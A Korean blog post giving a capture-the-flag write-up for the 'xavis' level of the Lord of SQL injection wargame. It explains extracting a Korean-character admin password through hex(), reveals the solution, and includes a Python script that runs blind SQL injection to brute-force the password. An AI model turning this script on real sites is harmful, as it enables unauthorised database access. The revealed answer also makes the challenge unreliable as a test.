티스토리 뷰

writeup/LOS

[Lord of SQL injection] xavis

hoppi 2021. 7. 20. 14:13

54번째 글.

 

 

1. 코드 분석

뭐지 특별한 것이 없었다.

기존에 풀었던 문제들과 같으며 특이점이 없다.

 

 

2. Exploit

하지만 역시 쎄한기분은 틀리지 않았다.

pw의 길이는 12로 나오는데 아무리 해봐도 pw가 찍히지 않았다.

결국 힌트를 찾게 되었고 pw가 영문이나 숫자가 아닐 수 있다는 것을 알게 되었다.

자연스럽게 한글일 수 있겠구나라고 생각했다.

 

 

pw의 첫 글자의 길이를 찍어봤더니 4바이트라고 한다. 

그러면 처음의 모든 길이를 찍었을 때 12였으니 3글자일 것이다.

 

 

그리고 기존의 pw를 hex() 함수를 써서 변환해본 결과 총 24글자가 나왔다.

(한글에서 영문과 숫자로 이루어진 조합으로 되기 때문에 한 글자에 1바이트씩 되므로 혼동하지 말자)

3등분으로 쪼개면 8 글자씩 된다.

즉 16진수로 표현했을 때

예시로 00 AA B1 C2 이렇게 한 세트로 한글 1글자가 4바이트로 표현된 것이다.

 

 

이렇게 hex()를 이용해서 pw를 찍어봤더니 0000c6b0 0000c655 0000ad73 이렇게 나왔고

pw로 바로 넣으면 안 되기 때문에 변환해보면

 

 

pw가 '우왕굳' 인 것을 알 수 있다.

 

 

 

 

import requests
import string
sess = requests.session()
headers = {'Cookie': 'PHPSESSID=YOURSESSID'}
# password_length = 0
admin_password = ''
hexdigits = string.hexdigits
same_str=''
print(hexdigits)

## get password length
for i in range(100):
    url = f"https://los.rubiya.kr/chall/xavis_04f071ecdadb4296361d2101e4a2c390.php?pw=' or id='admin' and length(hex(pw))={i}%23"
    res = sess.get(url, headers=headers)
    if('Hello admin' in res.text):
        print('Password length is ', i)
        password_length = i
        break

## get password
for i in range(password_length+1):
    print(i)
    for j in hexdigits:
        url = f"https://los.rubiya.kr/chall/xavis_04f071ecdadb4296361d2101e4a2c390.php?pw=' or id='admin' and 1=if(substr(hex(pw),{i},1)='{j}',1,0)%23"
        res = sess.get(url, headers=headers)
        if('Hello admin' in res.text):
            admin_password = admin_password+j
            print(admin_password)
            break


print("Admin Password is " + admin_password)

'writeup > LOS' 카테고리의 다른 글

[Lord of SQL injection] iron_golem  (0) 2021.07.23
[Lord of SQL injection] dragon  (0) 2021.07.20
[Lord of SQL injection] nightmare  (0) 2021.07.19
[Lord of SQL injection] zombie_assassin  (0) 2021.07.19
[Lord of SQL injection] succubus  (0) 2021.07.16